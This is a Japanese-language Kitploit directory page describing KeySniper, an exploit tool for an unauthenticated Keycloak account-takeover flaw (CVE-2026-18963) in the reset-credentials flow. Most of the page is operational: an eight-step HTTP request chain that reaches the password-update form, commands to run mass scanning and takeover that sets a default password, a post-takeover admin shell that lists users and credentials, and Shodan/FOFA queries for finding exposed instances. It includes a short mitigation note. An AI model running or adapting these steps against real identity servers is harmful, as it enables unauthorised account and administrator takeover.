Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
KeySniper — **CVE-2026-18963** — reset-credentials フローを介した、認証されていない Keycloak アカウント乗っ取り。 | Kitploit
ツール/GitHubGitHub/ynsmroztas/keysniper
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証レッドチーミング
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — reset-credentials フローを介した、認証されていない Keycloak アカウント乗っ取り。

リポジトリを見る
113231120日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

KeySniper

KeySniper

作者: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — 認証不要のKeycloakアカウント乗っ取り(reset-credentialsフロー経由)

KeySniperは、スコープ内のバグバウンティおよび許可された評価を対象とした本番向けスキャナです。ライブレーダー出力、レルム検出、検出と乗っ取りの判別、対話型ATO後シェル、stdinパイプライン(subfinder → httpx → KeySniper)を備えています。

デフォルトモードは検出(--takeover 0)です。--takeover 1 はターゲット上のアカウントパスワードを変更します。


脆弱性

フィールド値
CVECVE-2026-18963
CWECWE-640 — 脆弱なパスワード回復メカニズム
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
製品Keycloak / Red Hat SSO
修正版26.7.2、26.6.6、26.4.15
認証不要

2つのバグが連鎖します:

  1. tryAnotherWay は、実行IDにスコープされていない汎用の "true" セレクターノートを保存します。
  2. ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID を検証せずに context.success() を呼び出します。

結果: 認証不要の呼び出し元が、既知のユーザー名に対してパスワードリセットフローを強制し、メールリンクをクリックせずに UPDATE_PASSWORD に到達できます。

確認シグナル

スキャンは「パスワード忘れが存在するか」ではありません。確認条件は以下です:

  • 元のリセットURL上でセレクターフォームが再レンダリングされる
  • execution= UUID が変化する(メール実行が漏洩)
  • レスポンスに kc-passwd-update-form が含まれる
root@kitploit:~
exec3 = 28e2cd30-…   (最初のセレクター)
exec6 = 8fd21174-…   (ピボットGET)
         UPDATE_PASSWORD

機能

  • ライブ [radar] ログ(Location、JS、ヘッダー、レルムプローブ)
  • レルム検出: 302 Location + HTML/JS + well-known + ワードリスト
  • /auth プレフィックス自動検出
  • パイプライン: httpx / subfinder からのstdin URL
  • 誤検知フィルター: レルムブルートフォース前にKeycloakボディが必要
  • --takeover 0 検出のみ
  • --takeover 1 パスワード設定(デフォルト SelaM1337@@)
  • --shell ATO後の対話型トークン / 管理APIヘルパー
  • カラーバッジ: VULN / ATO 赤、SAFE 緑、SKIP 黄

インストール

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9以上。


使用方法

root@kitploit:~
# 検出(パスワード変更なし)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# 乗っ取り + 対話型シェル
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# レルム / ユーザー指定
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# パイプライン
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# リストファイル
python3 KeySniper.py -l urls.txt --takeover 0 -q

フラグ

パイプライン一括処理では --takeover 1 や --shell を渡さないでください。


フロー(8ステップ)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → forgot-password href (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (存在する場合)
[6] GET  元の reset-credentials URL  (ピボット)
         → セレクター再レンダリング + 新しい execution=
[7] POST 古いセレクター(アクショントークンなし)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (--takeover 1 の場合のみ)
         → HTTP 302 + code=  ⇒ ATO

出力

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update は VULNとしてカウントされません。


対話型シェル

単一ターゲットで [ATO] 後にのみ開きます:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

リソースオーナーパスワードグラント(admin-cli、次に account)を使用します。
/admin/realms でHTTP 403が返る場合、Direct Access Grants / 管理者ロールが制限されていることを意味します — ATOは依然として有効です。


検出

  1. /realms/master をプローブし、次に /auth/realms/master
  2. Location、HTML、JS、"realm":、issuerからレルムを収集
  3. Keycloakフィンガープリント後にのみワードリスト(約70名)
  4. /realms/{name} が200 + Keycloakボディを返すレルムを保持

フィンガープリント / 偵察

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA(プログラムスコープ):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

誤検知

  • / の200応答は、ボディに issuer / public_key / login-actions が含まれない限り無視
  • パスワード忘れがない → SKIP(レルムでリセットが無効)
  • kc-passwd-update-form なしのセレクター漏洩 → SKIP
  • httpx のパスはオリジンに切り詰められる(/auth は保持)

影響を受けるバージョン

Keycloak < 26.7.2(26.6.x < 26.6.6、26.4.x < 26.4.15 も該当)。
緩和策: すべてのレルムでパスワード忘れを無効化し、その後アップグレードしてください。

このリポジトリのスクリーンショットは編集済みです(sso.lab.local プレースホルダー)。トークン、パスワード、メール、実際のホストは公開されていません。


作者

Mitsec
X: x.com/ynsmroztas


ライセンス

スコープ内の許可されたターゲットに対する研究目的の使用。スコープ外のホストでは --takeover 1 をオフにしてください。

ツールをダウンロード
フラグデフォルト意味
-u URL—単一ターゲット
-l FILE—URLリスト
stdin自動httpx の行(最初のフィールド = URL)
--takeover 0|10検出 vs パスワード変更
-U USERadminターゲットユーザー名
-r REALMautoレルムを強制または検出
--passSelaM1337@@takeover=1 の場合の新しいパスワード
-t N4パイプラインのスレッド数
-qオフ結果のみ表示
--shellオフATO後シェル(単一ターゲット)
ステータス意味
VULNピボット + UPDATE_PASSWORD(パスワードは変更されていない)
ATOステップ8が成功
SAFEリセットは開いているが、古いセレクターなし(修正済み)
SKIPKeycloakではない / リセット無効 / UPDATEフォームなしの漏洩
FAILネットワーク / 予期しない例外